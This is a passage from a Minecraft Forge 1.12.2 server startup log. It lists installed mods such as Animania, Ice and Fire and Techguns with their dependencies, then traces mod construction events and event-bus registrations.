thread/TRACE] [FML]: Verifying mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: All mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: Sorting mods into an ordered list [14:28:00] [Server thread/TRACE] [FML]: Mod sorting completed successfully [14:28:00] [Server thread/DEBUG] [FML]: Mod sorting data [14:28:00] [Server thread/DEBUG] [FML]: craftstudioapi(CraftStudio API:1.0.0): CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar () [14:28:00] [Server thread/DEBUG] [FML]: animania(Animania:1.7.3): animania-1.12.2-1.7.3.jar (required-after:craftstudioapi;after:cofhcore;after:harvestcraft;after:natura;after:botania;after:biomesoplenty;after:twilightforest;after:aroma1997sdimension;after:openterraingenerator;before:thermalexpansion;required-after:forge@[14.23.5.2779,)) [14:28:00] [Server thread/DEBUG] [FML]: betteranimalsplus(Better Animals Plus:8.0.0): betteranimalsplus-1.12.2-8.0.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: bookworm(Bookworm API:1.12.2-2.3.0): bookworm-1.12.2-2.3.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: k4lib(K4Lib:1.12.1-2.1.81): k4lib-1.12.1-2.1.81-universal.jar () [14:28:00] [Server thread/DEBUG] [FML]: colorchat(ColorChat:1.12.1-2.0.43): colorchat-1.12.1-2.0.43-universal.jar (required-after:k4lib) [14:28:00] [Server thread/DEBUG] [FML]: cw(Creature Wisperer:1.0.2): creature_whisperer_1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: dragonmounts(Dragon Mounts:1.12.2-1.6.3): DragonMounts2-1.12.2-1.6.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: extragems(ExtraGems:1.2.8): ExtraGems-1.12.2-(v.1.2.8).jar () [14:28:00] [Server thread/DEBUG] [FML]: horse_colors(Realistic Horse Genetics:1.12.2-1.0.2): horse_colors-1.12.2-1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: llibrary(LLibrary:1.7.19): llibrary-1.7.19-1.12.2.jar (required-after:forge@[14.23.5.2772,)) [14:28:00] [Server thread/DEBUG] [FML]: iceandfire(Ice and Fire:1.8.3): iceandfire-1.8.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: iChunUtil API(API: iChunUtil API:1.2.0): iChunUtil-1.12.2-7.2.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: ichunutil(iChunUtil:7.2.2): iChunUtil-1.12.2-7.2.2.jar (required-after:forge@[14.23.5.2781,99999.24.0.0)) [14:28:00] [Server thread/DEBUG] [FML]: imsm(Instant Massive Structures Mod:1.12): Instant Massive Structures Mod 1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: jei(Just Enough Items:4.15.0.292): jei_1.12.2-4.15.0.292.jar (required-after:forge@[14.23.5.2816,);) [14:28:00] [Server thread/DEBUG] [FML]: landmanager(Land Manager:1.4.0): landmanager-1.12.2-1.4.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisiscore(MalisisCore:1.12.2-6.5.1-SNAPSHOT): malisiscore-1.12.2-6.5.1.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisisdoors(MalisisDoors:1.12.2-7.3.0): malisisdoors-1.12.2-7.3.0.jar (required-after:malisiscore) [14:28:00] [Server thread/DEBUG] [FML]: mowziesmobs(Mowzie's Mobs:1.5.4): mowziesmobs-1.5.4.jar (required-after:llibrary@[1.7.9,)) [14:28:00] [Server thread/DEBUG] [FML]: sereneseasons(Serene Seasons:1.2.18): SereneSeasons-1.12.2-1.2.18-universal.jar (required-after:forge@[14.23.5.2768,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry(Spartan Weaponry:beta 1.3.8): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanfire(Spartan Fire:0.07): spartanfire-0.07.jar (required-after:iceandfire;required-after:spartanweaponry@[beta 1.3.0,);required-after:llibrary@[1.7.19,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanshields(Spartan Shields:1.5.4): SpartanShields-1.12.2-1.5.4.jar (after:redstoneflux;after:enderio;after:rftools;after:botania;after:redstonearsenal;after:abyssalcraft;after:betterwithmods;after:thaumcraft) [14:28:00] [Server thread/DEBUG] [FML]: teamup(Team Up:1.1.3-1.12.0): TeamUp-1.1.3-1.12.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: techguns(Techguns:2.0.2.0): techguns-1.12.2-2.0.2.0_pre3.1.jar (required:forge@[14.23.5.2807,);after:ftblib;after:chisel;after:patchouli) [14:28:00] [Server thread/DEBUG] [FML]: ultimate_unicorn_mod(Wings, Horns, and Hooves, the Ultimate Unicorn Mod!:1.5.16): ultimate_unicorn_mod-1.12.2-1.5.16.jar () [14:28:00] [Server thread/DEBUG] [FML]: wings(Wings:1.1.6): wings-1.1.6-1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: mowzies_wings(Mowzie's Wings:1.0.0): wings-1.1.6-1.12.2.jar (required-after:wings;after:mowziesmobs) [14:28:00] [Server thread/DEBUG] [FML]: zawa(Zoo and Wild Animals Mod: Rebuilt:1.12.2-1.7.0): zawa-1.12.2-1.7.0.jar (required-after:bookworm@[1.12.2-2.2.0,);) [14:28:00] [Server thread/DEBUG] [FML]: claimitapi(ClaimIt API:1.12.2-1.2.0): claimitapi-1.12.2-1.2.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: claimit(ClaimIt:1.12.2-1.2.0): claimit-1.12.2-1.2.0.jar (after-required:claimitapi@[1.12.2-1.2.0]) [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-models(API: ctm-api-models:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-textures(API: ctm-api-textures:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: jeresources|API(API: jeresources|API:0.9.2.60): JustEnoughResources-1.12.2-0.9.2.60.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry_api(API: spartanweaponry_api:5): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: JustEnoughItemsAPI(API: JustEnoughItemsAPI:4.13.0): jei_1.12.2-4.15.0.292.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-events(API: ctm-api-events:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api(API: ctm-api:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-utils(API: ctm-api-utils:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file BackTools-1.12.2-7.0.1.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file CTM-MC1.12.2-1.0.1.30.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file JustEnoughResources-1.12.2-0.9.2.60.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file torohealth-1.12.2-11.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/DEBUG] [FML]: Loading @Config anotation data [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft took 0.002s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Coder Pack took 0.001s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod FML [14:28:01] [Server thread/TRACE] [FML]: Mod FML is using network checker : Invoking method checkModLists [14:28:01] [Server thread/TRACE] [FML]: Testing mod FML to verify it accepts its own version in a remote connection [14:28:01] [Server thread/TRACE] [FML]: The mod FML accepts its own version (8.0.99.99) [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at CLIENT [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at SERVER [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod FML [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Forge Mod Loader took 1.092s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [forge]: Loading Vanilla annotations: sun.net.www.protocol.jar.JarURLConnection$JarURLInputStream@c338668 [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$11 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$12 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$13 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$14 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderGlobal$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureAtlasSprite$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/EntityTracker$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/player/InventoryPlayer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetHandlerPlayServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetworkSystem$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/chunk/Chunk$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Alignment [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Column [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Row [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/ICrashCallable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/TRACE] [FML]: Mod forge is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod forge to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod forge accepts its own version (14.23.5.2847) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into forge for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Forge took 0.145s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Techguns Core took 0.000s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/TRACE] [FML]: Mod craftstudioapi is using network checker : Accepting version 1.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod craftstudioapi to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod craftstudioapi accepts its own version (1.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into craftstudioapi for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - CraftStudio API took 0.071s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod animania [14:28:02] [Server thread/TRACE] [FML]: Mod animania is using network checker : Accepting version 1.7.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod animania to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod animania accepts its own version (1.7.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into animania [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.Animania for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.Animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.config.AnimaniaConfig$EventHandler for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.config.AnimaniaConfig$EventHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into animania for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod animania [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Animania took 0.158s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/TRACE] [FML]: Mod betteranimalsplus is using network checker : Accepting version 8.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod betteranimalsplus to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod betteranimalsplus accepts its own version (8.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.BetterAnimalsPlusMod for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.BetterAnimalsPlusMod [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.common.CommonEventHandler for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.common.CommonEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into betteranimalsplus for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Better Animals Plus took 0.097s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/TRACE] [FML]: Mod bookworm is using network checker : Accepting version 1.12.2-2.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod bookworm to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod bookworm accepts its own version (1.12.2-2.3.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into bookworm [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for bookworm [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.init.items.BookwormItems for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.init.items.BookwormItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.entity.BookwormEntities for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.entity.BookwormEntities [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into bookworm for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Bookworm API took 0.009s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/TRACE] [FML]: Mod k4lib is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod k4lib to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod k4lib accepts its own version (1.12.1-2.1.81) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into k4lib for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - K4Lib took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/TRACE] [FML]: Mod colorchat is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod colorchat to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod colorchat accepts its own version (1.12.1-2.0.43) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into colorchat for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ColorChat took 0.025s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod cw [14:28:02] [Server thread/TRACE] [FML]: Mod cw is using network checker : Accepting version 1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod cw to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod cw accepts its own version (1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into cw [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for cw [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for cw.util.handlers.CWRegistryHandler for mod cw [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class cw.util.handlers.CWRegistryHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into cw for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod cw [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Creature Wisperer took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/TRACE] [FML]: Mod dragonmounts is using network checker : Accepting version 1.12.2-1.6.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod dragonmounts to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod dragonmounts accepts its own version (1.12.2-1.6.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.event.RegistryEventHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.event.RegistryEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into dragonmounts for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Dragon Mounts took 0.033s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/TRACE] [FML]: Mod extragems is using network checker : Accepting version 1.2.8 [14:28:02] [Server thread/TRACE] [FML]: Testing mod extragems to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod extragems accepts its own version (1.2.8) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into extragems [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for extragems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModBlocks for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModBlocks [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModItems for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.util.RecipeHandler for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class 